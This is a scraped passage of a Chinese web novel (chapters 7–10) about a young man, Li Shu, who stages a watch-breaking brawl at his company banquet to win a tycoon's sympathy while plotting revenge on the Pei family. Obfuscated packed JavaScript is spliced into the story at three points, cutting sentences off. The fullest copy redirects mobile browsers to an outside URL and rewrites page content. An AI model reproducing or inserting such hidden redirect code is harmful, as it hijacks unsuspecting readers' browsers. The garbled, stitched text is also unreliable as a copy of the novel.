黎舒小时候跟小朋友们玩，老是听其他人炫耀自家爸爸怎么怎么好，便缠着黎沁柔问有关林炜豪的事情，等到他稍微懂事一点后，发现每次提到父亲，黎沁柔都会暗暗伤心，就不敢再问了。 正巧此时，电梯门打开了，黎舒下意识瞥了一眼，发现是裴毅寒到了。 “妈，我这么给你挣面子，你今天也该好好在亲戚朋友面前炫耀一下。” 黎舒打从心里排斥裴毅寒和黎沁柔碰上面，于是，他小心帮黎沁柔拭去眼角的泪痕，委婉地催促着。 但今天黎沁柔难得打开了话匣子，一时半会儿便收不住了。 “你跟你爸很像，白手起家，说做就做，既聪明，也有胆量，但你们俩都一样把委屈吞在心里，不跟家里人说。我也恨自己怎么就帮不上你们的忙，如果当初我跟你爸一块儿去外地，他是不是就不会孤零零地被大车碾死了？我到现在都很后悔……舒舒，妈不求你赚大钱，只求你身体好好的。” 黎舒连忙保证：“妈，我会好好的，你别担心。” “我怎么不担心？”黎沁柔的眼泪更加汹涌，“谁见了你爸都说他有出息，我当初选他，就认定了他是所有同龄人里最好的那个。我跟他十四岁做了同桌，十六岁中学毕业后谈起了恋爱，结婚年龄一到，我们就立刻去领了证。我当年看着你爸忙里忙外，我心疼，但什么都没说，因为他在给你打拼家业！” 说着，黎沁柔哽咽的声音里渐渐夹带起一股不甘和怨恨，就像是结痂许久的伤口，看似已经不痛不痒了，但当痂皮被撕开后，才发现里面的肉已经化脓发烂。 “世上有那么多富二代，凭什么我的儿子不能是？但凡你爸还活着，家里的日子肯定会越来越好，你不必一边上学一边琢磨打工，你的爷爷奶奶也能多活几年……一想到村里有些看不得我们家过得好的红眼病说你克了你爸，我心梗得慌。” 看到母亲这副模样，黎舒不由得怔神。 他不知道黎沁柔的心里还积压着这么浓烈的悲愤，他以为多年过去，他的母亲已经走出来了。 他的父亲死在了最好的年华，他的母亲怨恨自己无能，他的爷爷奶奶怨恨老天无眼，大家的怨恨就和沉疴一样久治不愈，无药可医。 可日子总得继续过下去。 于是，在他记忆里他的妈妈是个温柔美丽的女人，他的爷爷奶奶是对慈祥和蔼的老人，大家都表现得淡淡的，不希望将悲伤过早的背负到他身上，也不希望他会因为在同龄孩子黎产生自卑心理。 继父胡明华见妻子情绪失控，将她搂在怀里小声安慰：“人来人往的，妆都哭花了，有什么回家再说，待会儿你还要做全场最受羡慕的女人呢。” “我就是控制不住……”黎沁柔哭得不能自已，几乎没办法连贯地说完一句整话，“我的儿子多好啊，没人比他更让我值得骄傲了，我却没办法帮他过上更好的生活，他还要跟他爸一样辛苦打拼……” 正是因为今天的黎舒太好了，反而让黎沁柔恐慌起来。 她年轻时对未来的期盼有多深，此刻痛得就有多深。 黎舒小声对继父说：“宴会厅旁边有个小的休息室，爸，你带我妈去那儿坐坐，让她冷静下来补个妆。” “好，留你一个人在这儿没问题吧？要不要我让瑞瑞和馨馨帮忙？”胡明华口中的瑞瑞和馨馨是黎舒同母异父的弟弟和妹妹，正是中二叛逆的年纪，但三兄妹关系处得很融洽。 黎舒迅速敛去了眸中波澜的情绪，扬起一抹清风般雅悦的笑容，就好似他在背地里训练过无数回。 “我没事的，能有什么事呢？” “没事就好。”胡明华深深地凝视了黎舒一眼，点点头，搂着妻子去了休息室。 胡明华知道自己这个继子是个心思很深的人。 他自然没有谴责或者贬低黎舒的意思，这么多年来，黎舒表现得乖巧懂事，从来没有行差踏错过，很省心，但也太省心了，令人看不透。 而孩子的“不省心”才是成长的正常过程。 从夫妻俩在家里的电视上看到黎舒的那一刻起，胡明华就知道这个继子未来必然不同凡响，他和黎沁柔暗暗拿黎舒和市面上正红的明星做对比，哪怕抛去亲妈滤镜，也觉得“这孩子可以做童模”。 因为黎舒什么都没说，两人便什么也没问，他们尊重孩子的自我意愿，觉得黎舒肯定会在某天说起自己当了明星的事。 两人暗暗担忧了一年，直到一年后黎舒某天突然表示自己会登上中央电视台的某场文艺晚会，他们才安下心来。 能够跟他们坦言，就说明工作稳定了。 胡明华和黎沁柔都对娱乐圈了解不多，也是在黎舒当明星后才开始主动关注相关消息，在他们看来，登上中央电视台，就说明黎舒根正苗红，也算是纳入官媒的保护了。 两人无论如何都没想到，当明星只是黎舒的事前准备，开公司才是起跑线。 而胡明华也是真正瞧出了黎舒的野心，比自己原先想象中要大得多，就是奔着跨越阶级去的。 阶级……又岂是那么好跨越的东西？ 走到半路的时候，胡明华扭头看了黎舒一眼，看到黎舒已经接待起了新的客人，脸上的表情他从未见过。 有些讨好，有些无辜，有些稚嫩，甚至连肢体语言都透着一股“我很无助，请你帮帮我”的表达，如果不是他认识黎舒那么多年了，会真心觉得黎舒白长了那么大的个头，本质上还只是一个需要被引导照顾的大男孩。 ——舒舒，你究竟想做什么？ …… 电梯开了，但裴毅寒在电梯门口等了一会儿，直到抱着黎舒哭泣的妇人离开后，他才走上前去。 他现在的踌躇就和他得知办席的地点是云玺食府一样，他这阵子不想再见到乔凛，可谁让他当初没问办席地点就先答应下来了呢？无论他事后给出什么理由放黎舒鸽子，都显得他怕了乔凛似的。 “黎总，开业大吉，这是我的贺礼。”裴毅寒自觉和黎舒不熟，不该探询对方的家事，便平淡地打了招呼。 “裴总，这怎么好意思呢？无论是谁来，我都没收礼金的。”黎舒挠挠头，“贺礼我也不收，除非上面有留下专门送我的记号。” 裴毅寒将精致的纸质手提袋递到黎舒手中：“的确刻了你的名字。” “既然这样，那我就只能收下了！”黎舒眼前亮了亮，握着手提袋的力度紧了紧，一副跃跃欲试的模样，十分想看看这份专门为自己准备的礼物究竟是什么。 裴毅寒心里有点好笑，不过自己准备的礼物能得到受礼者的期待也令他有些开心。 他声音不自觉缓了缓：“一点小心意罢了，你可以打开来看看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“裴总……你也没告诉我，这礼物这么贵啊。”黎舒支支吾吾的，“刚刚有人跟我说，这表要20万呢……老天，20万就买一只表，这也太奢侈了，我实在不安心戴在手上，生怕磕着碰着，我这戴的那是一只表啊，分明是一辆车。而且我今天办这席，请了十几桌客人，也才花了十多万……” 竟然是为了这个？裴毅寒不由失笑。 “这没什么。你的公司才刚起步，我想你需要一些奢侈品来装点门面，我就为你买了这只入门级的表，等将来你事业有所成就后，会需要更昂贵的奢侈品来。” 黎舒听完后，深思一阵，像是忽然拿定了什么主意，用力点了点头。 “我以后也会给裴总送合适的礼物！” 这态度认真得像是发下了一个重誓。 “……谢谢。”裴毅寒微微出神，忽地被黎舒那灿若星辰的双眸所吸引，“我会期待。” 他没想到自己一份小小的礼物会收获如此诚挚的情感回馈。 他的送礼对象有很多，但发自内心喜欢他礼物的人，除了温茉茉以外，黎舒是第二个。 一时间，他的内心仿佛被浸泡在温泉里，暖暖的，麻麻的，说不出的熨帖。 …… 饭吃到一半的时候，黎舒去了趟厕所。 “我就是受不了他那副傲慢做作的样子！” 忽然，男厕隔间传出一阵恶狠狠的男声。 对方沉浸在自己的情绪里，并没有注意到厕所有人进来。 “不就是开公司了吗，有啥了不起的，小公司罢了，也不见得能赚钱，每年倒闭的公司多了去了，不差他一个……哼，你说我嫉妒？放屁！我嫉妒他什么！我爸好好的活着呢，不像他，刚生下来就克死了他爸！” 闻言，黎舒眯了眯眼，眼底升起一抹狠意。 今天来吃饭的客人有不少是他们村的，村里人本就沾亲带故，他稍微打听一番，也能知道有哪些人在背后说自家闲话。 但他还是请了某些人来吃饭。 他原本想着自己既然将公司安置在村子里，哪怕是暂时性的，仍旧可能招来一些眼红的视线，惹来一些不必要的麻烦，于是用这顿饭来堵住那些人的嘴。 现在看来，这顿饭是白请了，不如喂狗。 “不过，白饭也不是那么好吃的。” 黎舒皮笑肉不笑的脸被阴影分割成明暗两半，一半是人，一半是鬼。 他垂眸看了看腕上的表，慢慢歪过头，比照了一下墙角的位置…… 抬手用力一磕！ 表盘应声而碎。 8. 第 8 章 用餐进行到一半，随着黎舒的艺人同事们登台唱歌，宴会大厅的氛围越来越好。 有经常看电视的叔叔阿姨、大爷大妈认出了台上唱歌的艺人是他们喜欢的某部剧里面的谁谁谁，便兴冲冲地凑近去看，而台上的艺人也会在唱完一首后干脆将人请上来互动一下，现场洋溢着浓浓的人情味。 哪怕裴毅寒不是喜欢热闹的人，在现场气氛的带动下，也升起了几分看表演的兴趣，时不时还会随大流鼓个掌。 正在此时，一个年轻人着急忙慌地跑了过来。 “你们这桌都是黎舒的朋友吧？快跟我来，他在厕所里跟人打起来了！” “什么？”不光是裴毅寒，1号桌所有人都同时发出了一声疑问。 其他人认识黎舒久了，都知道黎舒的性格是顶好的，从来没有跟人红过脸，怎么会在这大喜的日子跟人打起来了？ 裴毅寒也完全想象不到黎舒打架的样子，只是脑海里冷不丁冒出一句话“兔子急了也会咬人”。 一大群人齐刷刷涌向厕所，直接堵死了厕所大门。 凭借着突出的身高优势，裴毅寒站在前列，只见一个细竹竿成精似的小黄毛被黎舒拎在手里收拾，脸上青一块紫一块的，身上衣服半烂不烂，嘴里发出杀猪般的嚎叫。 “救命！杀人了！他要打死人了！！！” 黎舒两眼血红，嘴里穿着粗气，胳膊和肩背上鼓起的肌肉几乎要把西装上衣撑爆，那扬起的拳头就跟沙包似的，要是真用力打下去，这小黄毛脑浆都要被糊出来，哪还有喊救命的力气。 “要我报警吗？”裴毅寒严肃地看着黎舒。 他注意到黎舒手腕上还滴着血，而他刚送出去不久的那块表已经碎了。 这或许是黎舒暴怒的原因。 小黄毛却误以为裴毅寒这句话是对自己说的，旋即撕心裂肺地咆哮道：“报警！把黎舒抓进去坐牢！他这是谋杀！” 直到此时，黎舒才像是渐渐回过神来，将小黄毛随手丢到地上，一瘸一拐地朝裴毅寒走去。 其他朋友七嘴八舌地询问黎舒出了什么问题。 “他故意把洗手液弄到地上害我滑倒！”黎舒忿忿地指着滑腻腻的地面说。 洗手液挤出来是透明的，加上厕所的光线也不是那么明亮，谁又能轻易注意到这个小陷阱呢？ “狗屁！你踏马说话要讲证据！”小黄毛随手把鼻血抹在地上，尖声嚷嚷道，“我才没有故意害你滑倒，你滑倒是你自己问题，关我毛事？现在所有人都看到你打了我，我身上哪哪都疼，我要你赔死！！！” 黎舒又指着洗手台上的高档洗手液瓶子喝斥道：“瓶子上面肯定有你的指纹！” “那你就拿去测啊！我说没用过，就是没用过！”小黄毛有恃无恐地说。 指纹处理起来不算难事，大家都迅速反应过来，两眼冒火地瞪向姿态丑陋的小黄毛。 事情到这里已经很明显了，小黄毛就是个恶客，故意找黎舒麻烦被揪住揍了一顿，结果现在跟狗屎一样黏在黎舒鞋底了！ 但……事情确实有些麻烦了。 没有证据能证明小黄毛故意使坏，毕竟厕所里也没安监控，偏偏在场所有人又都看到了黎舒打人是事实。 恐怕最后调解下来，哪怕黎舒在道德上占优势，也大概率要吃亏了。 黎舒本人也知道是这么个道理。 他顶着乱糟糟的头发，垂下头，脸色涨得通红，有泪星在眼睛里打转又迟迟不肯落下，声音里浸满了苦涩与委屈。 “对不起，你送我的表这就坏了……我本来明明想要好好保存的……” 青年像是一只受委屈的北极巨兔，裴毅寒差点就上手揉了揉黎舒的脑袋，但手伸到一半又觉得这个举动不合适，转而搭在了黎舒的肩膀上。 “没事，一块表而已，我下次再送你，你的伤口需要处理一下。”裴毅寒完全没发现自己的语气是前所未有的温柔……哦不，应该说，他只对温茉茉流露过这种关心在意的神态。 黎舒咬着下唇，不甘心地说：“但这块表的意义不一样，再贵的表也不是这一块……” 这时，小黄毛往地上吐了口带血丝的唾沫：“草！谁稀罕你的破表，还不知道真假呢！装个几把！” 这段恶劣的话彻底点燃了裴毅寒的怒火。 他居高临下地打量着小黄毛，下颌微微抬起，神情冷峻非常，那仿佛是与生俱来的优越感化作一座无形的高山，压得后者喘不过气。 “这块表价值20万，我的手里还有发票。” 闻言，小黄毛瞪圆了眼珠子，喉头颤抖许久，干哑着嗓子反呛道：“那关我什么事？” “就凭黎舒也受伤了，这是互殴。”裴毅寒抓起黎舒被碎玻璃扎破出血的手腕，眼神里透着刺骨的讥讽，慢条斯理的语气仿佛钝刀子割肉，“调解后平分责任，他需要赔付你的医药费，你也得赔付手表的修理费用。” “我没跟他互殴！”小黄毛明显开始慌张起来。 裴毅寒鼻腔里溢出一声短促的冷笑，扯开嘴角：“拿出证据来。” 说罢，裴毅寒取出手机，准备报警。 谁知，上一秒还瘫在地上的小黄毛不知从哪儿萌生了使不完的力气，竟是嚎啕一声，直接冲到裴毅寒面前。 “你不准打！！！” 裴毅寒被吓了一跳，正欲抬腿将小黄毛踹出去，旁边一条比他更长的腿竟先他一步有了动作。 小黄毛四脚朝天地倒在地上，捂着出血的鼻子哀哀呜咽。 “你还想伤人吗？”黎舒耸着肩膀，拳头捏得咔咔作响，眉峰压得很低，但凡对面再有点小动作，他都要把人抓起来再揍一顿！ 小黄毛再也不见刚才的猖狂，瑟瑟发抖地坐在地上。 裴毅寒意外于黎舒的眼疾脚快，心情有种说不上来的轻松。 果然，兔子咬人也会痛。 等警察赶到后，双方签署了和解书，这场闹剧明面上算是结束了。 但实际上，针对小黄毛的讨伐在今日之后才正式开始。 小黄毛本就糟糕的口碑，在村子里直接变得稀烂，人人提起这事儿，都说他不做人了，比畜生还不如。 “林大爷的孙子（黎舒）好心邀请我们去云玺食府那么高档的饭店吃饭，那小畜生倒好，暗地里说林大爷孙子克死他亲爸，被人家听到了，两人打起架来，然后他还弄坏了人家二十万的表！” “这话也太难听了，活该被打！那小畜生赔钱了吗？” “没呢！就他那游手好闲的样儿，哪来的钱赔？他家里人知道后吓都吓死了，20万的表啊，乖乖，大老板送的高档货，他怎么敢碰的！话说那小畜生后面去医院检查，发现脚骨折了，住院花了3万，人家林大爷的孙子本来还能打他几次，他才能还完这笔账……啧，真是便宜他了，但你猜怎么着？更炸裂的还在后头！” “那小畜生又做了什么？” “他居然说他是冤枉的，是林大爷孙子自己嗑坏了表，又故意在地上弄了洗手液栽赃给他的，为了面子真是什么鬼话都讲得出口！谁信谁傻子！” “啧啧啧，他也不看看自己身上除了器官，哪里值20万啊！再说那器官也不见得多好啊，他瘦得跟猴儿似的，整天抽烟喝酒。” “可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“裴总帮我收拾那家伙的样子很帅。”黎舒忽地笑弯了眼，“我看到这坏掉的表，就会想到裴总对我出手相助的样子，它将保留我那时的无助，让我时刻回忆起这份感激的心情。” 裴毅寒积压了寒霜般的双眸悄然迎来了春天，他深深注视着黎舒，眼中有一股近乎疼痛的柔软。 他失语了半晌，才哑着嗓子说：“……可以，你开心就好。” 黎舒将手心搭在裴毅寒的手背上，然后探过头，用只有两个人听得到的声音在裴毅寒耳边低语：“裴总，以前我都不知道有哥哥是什么感觉，但如果我有哥哥的话，大致就跟你一样吧。” 裴毅寒感到耳朵痒痒的，仿佛有一道无形的电流探入大脑，让他萌生出一种难以自制的悸动。 可还没等他细细品味这份感情，黎舒就一脸歉然地站起了身。 “裴总，下次我单独请你吃饭，今天我爸妈他们也惊到了，我得去向他们解释。” 裴毅寒抿了抿干涩的唇角，下意识回避了黎舒的视线：“好，下次我们再一起吃饭。” 在离开之前，裴毅寒用余光撇到黎舒走向了那个跟他长得有五分像的妇人。 “舒舒，刚刚帮你说话的那个朋友呢？” 黎舒：“他忙工作，先回去了，我下次再请他吃饭。” 黎沁柔点头：“好好好，人家帮了我们，我们得好好谢谢人家，我听说那个青年姓裴？上面一个‘非’，下面一个‘衣’的那个裴？” “……对。” 黎沁柔轻笑：“真巧，以前你爸也有个关系很好的朋友，也姓裴，他们还一起做了生意呢。” “我知道，妈。”黎舒垂眸，掩去眼底流动的暗涌，“我都知道。” 9. 第 9 章 视频电话中，乔凛凶神恶煞地瞪着黎舒。 “疯子！” 黎舒惊讶：“原来在乔姐眼里，小弟我竟是疯批美人这种当红设定么？” “呱！”乔凛发出一声清脆响亮的蛙叫，却压根不知道黎舒全程录屏，“你给我如实招来，是不是因为我没来捧你的场子，你心怀怨恨，所以趁我不在的时候在我的地盘搞事？我下午前脚刚训完分店长，后脚部下就说总店出事引来了条子，你知道那时我整个人有多方吗？” 事情传出去让她这个未来乔董的面子该往哪放？ 却见黎舒露出深思的表情，随后豁然开朗：“原来还能这样……受教了。” “够了，我说。”乔凛嘴角一撇，“别给我在这装蒜，我听说裴毅寒送你那20万的表坏了，其实你故意的吧？” 黎舒没有回答，一副“你在说什么我不知道”的茫然震惊表情，甚至眼神中还含有“你竟然把我想得那么坏”的不可置信。 此时无声胜有声。 乔凛完全可以确定黎舒就是故意的，只是不愿再对她上交把柄罢了。 “算了……裴毅寒今天怎么样，有没有一直在人群里寻觅老娘的芳踪？” 乔凛一撩长发，耳朵上两百万的红宝石耳坠闪烁火彩，显然是在向黎舒炫耀。 黎舒眉头都没动一下，平淡地说：“如果裴总在用餐时一直想着无关人员，那就是我这个东道主的失职了。” “是啊！”乔凛白眼翻上天，面部肌肉微妙地扭曲起来，仿佛每一个毛孔都在阴阳怪气，“你从小到大一直是优，怎么会去从良呢？” 她当然有特意让部下密切关注着黎舒和裴毅寒，那名部下最擅长看人了，说裴毅寒进门的时候很不自在，出门的时候脚步都在发飘，愉快的气场就跟粉红小泡泡似的直直往外冒。 可见咱们小黎弟弟手段了得，千万别把大裴总给哄成胎盘了！ 乔凛幽幽道：“20万的表你砸起来就跟玩儿似的，顺手找个炮灰，什么苦肉计苦情计就都一块儿使了，孙子兵法没你不行，我要是不知情的裴总也得被你玩死！我现在就好奇，究竟多少资产才能满足你的胃口？20个小目标？” “我要……”黎舒微微张开嘴，口型动了动。 随后，便跟乔凛称临时有事，主动结束了视频通话。 乔凛怔怔地思索了好一会儿，才明白过来黎舒的意思。 “草，这小子太有种了！” 黎舒说的是“全部”。 他竟然要全部！ 他怎么敢的！ 乔凛先是不敢置信，一个身家不到千万的毛头小子吃了熊心豹子胆，竟敢肖想人家百年豪门的千亿家产？ 但她紧接着又觉得，有异想天便开，以黎舒目前展现出来的本事，保不准真能吃下坨大的。 “有意思……哈哈哈！！！” 乔凛往总统套房的豪华大床上仰头倒去，笑得合不拢嘴。 人才年年有，鬼才却是在大半夜打灯笼都不一定能找到一个，没想到倒是让她给遇上了。 乔凛决定了，只要黎舒在接下来表现出一定的商业敏锐度，她绝对会追加投资。 另一边。 黎舒阖上笔记本，打开房门，将继父胡明华迎进了门。 “舒舒，伤口还痛吗？有没有打扰到你休息？” 黎舒摇摇头：“不会，现在还早。倒是爸，你们难得过来一趟就闹出了这事儿，实在对不住。” “哪是你对不住我们？是我们对不住你才对，你出事的时候，我们明明就在旁边，却差了一步，什么忙都没帮上。”胡明华从口袋里掏出一张银行卡，“舒舒，咱父子俩这么多年，也没有好好地谈过一次话，咱们今晚就来一次成年男人的交流。” 黎舒拒了胡明华的好意：“爸，谈心我随时欢迎，银行卡是真用不上。” 胡明华态度强硬地将银行卡塞到黎舒手里，细细叮嘱道：“这是我瞒着你妈给你攒的老婆本，里面有278万。当年我和阿沁结婚的时候就承诺过会把你当成亲儿子，你喊我一声爸，这都是我该给你的。你爸我没太大本事，但我保证你弟弟妹妹有的，你一样儿都不会少！” 黎舒的心脏蓦地被一只无形的手紧紧握住，喉咙酸涩一片，一时间竟找不到言语。 他眼睫轻颤，深深地将胡明华脸上的皱纹和手上洗不掉的机油污垢刻在心里，嘴角最终抿成一道柔和的线，语气里不自觉地带上了更多的亲昵和依赖。 “爸……谢谢你。” 胡明华汽修厂的营收情况，黎舒是大致计算过的，他手里的这笔钱估计比弟弟妹妹加起来还要多。 在今天之前，胡明华对他再好，他也阴暗地怀疑这或许是一个有钱男人的顺手而为，看在黎沁柔的份上给继子一个打赏——毕竟学费每年才多少？ 至于生活费，他早早就靠打工赚到了，胡明华给他的钱他都存着没动，万一将来闹矛盾了，他也方便直接把胡明华花在他身上的钱连本带利地还回去。 “好孩子，跟爸道什么谢？”胡明华用粗糙的大手拍了拍黎舒的肩膀，然后拉着黎舒坐在床沿上。 “舒舒，我跟你妈打听过了，你爸以前做生意的朋友叫裴贺泽，是裴氏集团的董事，身价百亿的豪门当家。而你认识的那位朋友叫裴毅寒，是裴氏集团现任总裁，也是裴贺泽的侄子……咱们家比上不足比下有余，也算是中产阶级了，你要是想结识裴贺泽，我找人牵牵线搭搭桥，让你们一起只顿饭，对方看在你过世的亲爸的份上，应该会帮你的。” 黎舒心脏咯噔一下，头皮发麻：“不，我从没这么想过！” “是这样吗？”胡明华温和地说，“想认识上头的大人物不丢人，生意人想请人帮忙，都是要靠朋友的朋友牵线搭桥，帮过一次后，大家都是朋友了，下次办事也好互相帮。” “裴总是我学妹的男友！”黎舒深吸一口气，语速飞快道，“我学妹跟我关系很要好，她和裴总是青梅竹马两小无猜的关系，我这才在学妹帮忙牵线搭桥下认识的裴总，当我得知裴总大伯认识我爸的时候，我也很震惊，等我真走到那一步了，再跟对方说起这件事，才不失为一桩美谈。” 胡明华了然：“原来是这样，看来是我想多了。” 就怕孩子为了名利而钻了牛角尖，攀附权贵，将人情当成事业的全部，本末倒置，在将来跌落的时候一蹶不振。 “对，爸，你不需要帮我做什么，我的野心就是等走到那一步了，大家都会看到。”黎舒满脸郑重地说，“可能是我倔，但我真的想靠自己闯出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011374|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 番事业，只要打不垮我的，都会成为我成长的基石。” 这口号喊得胡明华欣慰不已：“舒舒，没想到你年纪轻轻就已经有这番志气了，真好，好！” 黎舒用保证的口吻说：“爸，我不跟你客气，我现在的人脉都是我的战略部署，在我需要你帮忙的时候，我肯定会开口的。” “那好那好，只要你不做让我跟你妈担心的事情就好了。”胡明华谆谆教诲道，“舒舒，别太辛苦，钱是赚不完的，人没法一口吃成个胖子，你现在的起点已经胜过世上99%的年轻人了，放平心态。” “我会的，爸，你跟妈也早点休息。”送胡明华回房休息的时候，黎舒因为内心情绪的大起大落，后背早已被冷汗浸湿。 有一点，黎沁柔说错了。 林炜豪和裴贺泽哪里仅是“一起做过生意”这么简单？ 当年，林炜豪和裴贺泽一起创办了“择豪网咖”，这是国内的首个网咖品牌，比当年鱼龙混杂的网吧更加高档整洁，是结合了网吧和咖啡厅的商务休闲场所，有不少小报纸都报道了这一新鲜产物。 而在林炜豪去世后不到一年，裴贺泽就宣布创办“天鼎网咖”，这一品牌后面竟成了裴氏集团的重要分支产业，得到了战略性扶持。 天鼎网咖在各大省会城市迅速扩张，在十年内走向顶峰，随后慢慢衰败，并于裴毅寒上任第二年被变卖给了其他企业。 这当然不是裴毅寒的错，而是行业挑战过于严峻。 网咖装修成本高昂，电子设备更新越来越快，回本周期却愈发向后延长，同时，越来越多其他品牌的网咖开始打起了价格战，天鼎网咖只能被时代的洪流卷死。 裴毅寒舍弃了天鼎网咖，但后面又做出了电竞酒店项目，正是这个项目让裴毅寒在裴氏集团内真正有了话语权。 ——以上的一系列成就，都是基于林炜豪的“择豪网咖”！ 如果不出黎舒所料，网咖这个概念最开始就是林炜豪提出来的，裴贺泽作为富二代，更多的是提供资金扶持……然而，到后面裴贺泽竟是将一切都据为己有，甚至杀死了林炜豪。 不、可、饶、恕！ 据说，裴贺泽最宠爱裴毅寒这个侄子，否则不会把天鼎网咖交到裴毅寒手上任他处置。 “呵呵……如果真的宠爱，会让裴毅寒成长成现在这副外强中干的样子么？” 浴室的镜子被水珠打湿，扭曲了黎舒的面容，一半的角度里，他是刻入骨髓的温雅知礼，另一半的角度里，则是深入灵魂的仇怨憎恨。 黎舒勾起嘴角，两眼弯弯，露出嘴角的虎牙，即刻佩戴上了一副无辜可怜的面具。 豪门里人人都戴着好几副面具，比人精更人精，谁当真谁完蛋。 他从不指望让裴贺泽认罪，先不提搜集证据的艰难程度，林炜豪死都死了，裴贺泽时隔多年的认罪毫无意义。 他只想让裴贺泽受苦，整个裴家受难——多到令它们生不如死的苦难！ 这趟水他肯定是要搅浑的，危险性客观存在，但收益也非常可观。 “仇人的一百条贱命又哪里比得上我一根头发？” 黎舒发自内心地喜欢裴毅寒。 人人都把裴毅寒当工具。 但那的确是把好用的刀。 10. 第 10 章 由腾宇影视出品、黎舒担任制片的夏国首部纯爱题材微短剧《回村创业，攻陷情敌》于七月五日在海州市新河老街正式开机。 之前被裴毅寒交到乔凛手中的地皮就是新河老街，有乔家的一层关系在，黎舒的剧组在这里拍戏根本没花场地费。 新河老街预计将于明年初拆除，原先居住在这里的居民已经全都住进了安置房内，在今年十二月前，偌大一条老街都可供剧组使用。 剧组班底都是黎舒经常合作的老熟人，彼此之间早已练就了极佳的配合度，虽然要拍纯爱剧还是第一次，但微短剧的拍摄重点聚焦于角色，拍摄难度只会比长剧更低。 担任主演的赵长云和李川更是认识十年的老友了，两人过去穿梭在各大神剧之间，装备上演员的专业素养后，脸皮就变得比城墙还厚，想来剧里那点略微羞耻的台词自然也能脸不红心不跳地一遍过。 “海州的风水真好，养出你这么个小浪（哔——），在我面前（哔——）成这样，勾引老子（哔——）死你……” “谁勾引你了！你不要脸！再不从我身上起开我踹你了啊！” “老公爱死你的（哔——）了，你爱不爱老公的大（哔——）？” “唔……我咬死你！” 第一幕结束后，赵长云口干舌燥，非常煎熬，而对面的李川也是脚趾扣地，羞臊不已。 两人自认为也算半个演技派了，但这回真给他们上了难度。 赵长云手掌上还残留着弹力十足的触感，李川也能感到身上印着个力道十足的巴掌，以至于导演喊咔后，这对相识十年的老友一时间竟不敢对视。 “赵哥，李哥，二位辛苦了，来喝点水休息休息。”黎舒看过监视器里性张力爆棚的画面，满意地点了点头。 两位主演都充分发挥了自己的外貌优势，赵长云演的是黑皮痞帅富二代攻，而李川演的是白皮清秀倔强直男受，两人凑在一起，就像是火苗遇上烟花仓库，把屋顶都轰上天了。 开拍的第一场戏能一遍过是个好兆头，说明之后的拍戏进程也会顺顺利利。 “黎总，咱们剧里的台词也太牛叉了，绝非凡品，当年我拍的那部男同电影，台词可文艺可克制了。”赵长云往嘴里猛猛灌水，帅脸黑红黑红的。 李川扶额：“我真不敢想象我家里人看到这剧后会怎么想。” 赵长云：“他们会怎么想？” 李川无奈道：“可能会开始给我介绍男的了吧，毕竟我今年也三十五了，没结婚又没女朋友，之前他们以为我得了什么生殖方面的病，现在这一看，可不就是性取向出了问题？” 赵长云哈哈大笑，搂过李川的细腰，挤眉弄眼地说：“我爸妈早就不盼着我结婚生娃了，就盼着我将来不要孤独终老，生活里能有个伴儿就行。你要是不想被家里人催，不如我们假戏真做得了。” 李川半开玩笑地睨了赵长云一眼：“那拍完这部戏我就领你回家得了。” “好咧！”赵长云笑着露出一口白牙。 黎舒突然又是一拍手：“好！咔！” 闻言，赵长云和李川面面相觑，同时回头：“黎总，你在咔什么？” 黎舒招呼摄影师过来：“当然是在拍花絮了，你们的日常互动都有商业价值。” 李川不太明白：“两个大男人聊聊天，也会有人爱看吗？” “你们以为自己只是在聊天？不！你们是在双向奔赴！这就叫营业！这就是赚流量的门路！”黎舒语重心长地教育道，“我们是小作坊，小作坊用料就得猛。” 赵长云来了兴致：“那我们有剧本吗？你要不给我们个剧本，我们演不停。” “不行，没有剧本。”黎舒摇摇头，继续告诫道，“观众磕的就是你们日常生活中自然流露出来的真情实意，那些是剧本演不出来的，一旦你们开演，可能就油腻了，所以绝对不能演。” 李川挠头：“那我们接下来做什么？” 黎舒：“你们唯一的任务就是少NG，不拍戏的时候就当镜头不存在，该对戏对戏，该吃饭吃饭，该睡觉睡觉。” 开拍第三天，黎舒的营销团队就开始在郫县爆料。 ［娱乐星球组］ 《没签大公司好难，太子太女横行霸道，普通人在圈里根本没有出头的机会》 发帖人：nono 之前买了黎舒的股，他演了《浮生恋》的小师弟，《继父》的老四、《回村的诱惑》的李秘书……看得出他资源很差，什么题材都演，作品很多，虽然都是小配角，但他的颜我是真吃，360度无死角的帅，哪怕在有些戏里给丑太子让妆了都帅。 结果他突然就要去拍微短剧了，等同于短视频，根本不入流的东西，怎么会这样……（爆哭） 对内娱真的绝望了。 [图片][图片][图片] 1楼：虽然不认识，但查了查，OMG，一米九的九头身妈生脸大帅哥，重点大学毕业，参加过中央台和地方台的文艺晚会……秒杀了贵圈一众文盲，这样的人不火真是老天无眼。 2楼：没办法，内娱已经烂到底了。 3楼：这位啊，经常在学霸盘点里看到他，前年《浮生恋》小爆，他也喝到了汤，但因为两年过去仍没主演作品和咖位，组里粉丝都跑光了，已经被踢出待爆生行列…… 4楼：我去抖关注了官号，bl微短剧啊，有点意思，又有一位帅哥要下海了。 5楼：玛雅看到我家小墙头，我对他是溺爱心态，他演什么我看什么cut。 …… 99楼：哈哈，看到这位沧海明珠又被捞出来了一下，他签个大公司肯定能红，现在资源这么差估计也是因为他没事业心吧，也别替他抱不平了，没事业心的人再怎么样都混不好的。 